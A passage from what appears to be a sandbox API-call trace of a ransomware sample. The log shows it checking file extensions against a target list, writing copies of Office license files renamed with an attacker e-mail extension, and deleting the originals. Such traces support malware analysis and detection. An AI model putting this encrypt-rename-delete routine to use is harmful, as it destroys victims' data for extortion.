(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.094] lstrlenW (lpString=".dbf") returned 4 [0186.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.094] lstrlenW (lpString=".1cd") returned 4 [0186.094] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.094] lstrlenW (lpString=".jpg") returned 4 [0186.094] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.094] lstrlenW (lpString=".doc") returned 4 [0186.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString=".docx") returned 5 [0186.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.094] lstrlenW (lpString=".pdf") returned 4 [0186.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString=".xls") returned 4 [0186.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString=".xlsx") returned 5 [0186.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.095] lstrlenW (lpString=".ppt") returned 4 [0186.095] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.095] lstrlenW (lpString=".zip") returned 4 [0186.095] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.095] lstrlenW (lpString=".rar") returned 4 [0186.095] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.095] lstrlenW (lpString=".bz2") returned 4 [0186.095] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.095] lstrlenW (lpString=".7z") returned 3 [0186.095] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.095] lstrlenW (lpString=".dbf") returned 4 [0186.095] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.095] lstrlenW (lpString=".1cd") returned 4 [0186.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.095] lstrlenW (lpString=".jpg") returned 4 [0186.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.095] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.095] lstrlenW (lpString="HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 35 [0186.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0186.097] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=19958) returned 1 [0186.097] CloseHandle (hObject=0x564) returned 1 [0186.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0186.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0186.098] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.098] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0186.099] GetLastError () returned 0x0 [0186.099] ReadFile (in: hFile=0x564, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x4df6, lpOverlapped=0x0) returned 1 [0186.224] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0186.226] ReadFile (in: hFile=0x564, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.226] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x11a, lpOverlapped=0x0) returned 1 [0186.226] SetEndOfFile (hFile=0x4dc) returned 1 [0186.227] CloseHandle (hObject=0x4dc) returned 1 [0186.227] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.227] SetEndOfFile (hFile=0x564) returned 1 [0186.230] CloseHandle (hObject=0x564) returned 1 [0186.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1 [0187.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.052] lstrlenW (lpString=".doc") returned 4 [0187.052] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.052] lstrlenW (lpString=".docx") returned 5 [0187.052] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.052] lstrlenW (lpString=".pdf") returned 4 [0187.052] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.052] lstrlenW (lpString=".xls") returned 4 [0187.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.052] lstrlenW (lpString=".xlsx") returned 5 [0187.052] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.052] lstrlenW (lpString=".ppt") returned 4 [0187.052] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.053] lstrlenW (lpString=".zip") returned 4 [0187.053] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString=".rar") returned 4 [0187.053] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString=".bz2") returned 4 [0187.053] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString=".7z") returned 3 [0187.053] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.053] lstrlenW (lpString=".dbf") returned 4 [0187.053] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.053] lstrlenW (lpString=".1cd") returned 4 [0187.053] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.053] lstrlenW (lpString=".jpg") returned 4 [0187.053] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.053] lstrlenW (lpString=".doc") returned 4 [0187.053] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString=".docx") returned 5 [0187.053] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.053] lstrlenW (lpString=".pdf") returned 4 [0187.053] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString=".xls") returned 4 [0187.053] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString=".xlsx") returned 5 [0187.053] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.053] lstrlenW (lpString=".ppt") returned 4 [0187.053] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.053] lstrlenW (lpString=".zip") returned 4 [0187.054] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.054] lstrlenW (lpString=".rar") returned 4 [0187.054] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.054] lstrlenW (lpString=".bz2") returned 4 [0187.054] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.054] lstrlenW (lpString=".7z") returned 3 [0187.054] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.054] lstrlenW (lpString=".dbf") returned 4 [0187.054] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.054] lstrlenW (lpString=".1cd") returned 4 [0187.054] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0187.054] lstrlenW (lpString=".jpg") returned 4 [0187.054] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.054] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0187.054] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 42 [0187.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0187.055] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=21737) returned 1 [0187.055] CloseHandle (hObject=0x568) returned 1 [0187.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0187.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0187.056] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.056] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0187.058] GetLastError () returned 0x0 [0187.058] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x54e9, lpOverlapped=0x0) returned 1 [0187.060] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x54f0, lpOverlapped=0x0) returned 1 [0187.061] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.061] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x128, lpOverlapped=0x0) returned 1 [0187.061] SetEndOfFile (hFile=0x4f0) returned 1 [0187.062] CloseHandle (hObject=0x4f0) returned 1 [0187.062] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.062] SetEndOfFile (hFile=0x568) returned 1 [0187.065] CloseHandle (hObject=0x568) returned 1 [0187.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0187.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.067] lstrlenW (lpString=".doc") returned 4 [0187.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.067] lstrlenW (lpString=".docx") returned 5 [0187.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.067] lstrlenW (lpString=".pdf") returned 4 [0187.067] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.067] lstrlenW (lpString=".xls") returned 4 [0187.067] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.067] lstrlenW (lpString=".xlsx") returned 5 [0187.067] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.067] lstrlenW (lpString=".ppt") returned 4 [0187.067] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.067] lstrlenW (lpString=".zip") returned 4 [0187.067] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.067] lstrlenW (lpString=".rar") returned 4 [0187.067] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.067] lstrlenW (lpString=".bz2") returned 4 [0187.067] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.067] lstrlenW (lpString=".7z") returned 3 [0187.067] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.067] lstrlenW (lpString=".dbf") returned 4 [0187.067] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.068] lstrlenW (lpString=".1cd") returned 4 [0187.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.068] lstrlenW (lpString=".jpg") returned 4 [0187.068] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.068] lstrlenW (lpString=".doc") returned 4 [0187.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString=".docx") returned 5 [0187.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.068] lstrlenW (lpString=".pdf") returned 4 [0187.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString=".xls") returned 4 [0187.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString=".xlsx") returned 5 [0187.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.068] lstrlenW (lpString=".ppt") returned 4 [0187.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.068] lstrlenW (lpString=".zip") returned 4 [0187.068] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString=".rar") returned 4 [0187.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString=".bz2") returned 4 [0187.068] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString=".7z") returned 3 [0187.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.068] lstrlenW (lpString=".dbf") returned 4 [0187.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.068] lstrlenW (lpString=".1cd") returned 4 [0187.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0187.069] lstrlenW (lpString=".jpg") returned 4 [0187.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.069] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0187.069] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45 [0187.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0187.070] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11669) returned 1 [0187.070] CloseHandle (hObject=0x568) returned 1 [0187.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0187.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0187.071] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.071] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0187.072] GetLastError () returned 0x0 [0187.072] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d95, lpOverlapped=0x0) returned 1 [0187.074] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0187.075] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.075] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x12e, lpOverlapped=0x0) returned 1 [0187.075] SetEndOfFile (hFile=0x4f0) returned 1 [0187.075] CloseHandle (hObject=0x4f0) returned 1 [0187.075] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.075] SetEndOfFile (hFile=0x568) returned 1 [0187.078] CloseHandle (hObject=0x568) returned 1 [0187.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0187.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.080] lstrlenW (lpString=".doc") returned 4 [0187.080] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.080] lstrlenW (lpString=".docx") returned 5 [0187.080] 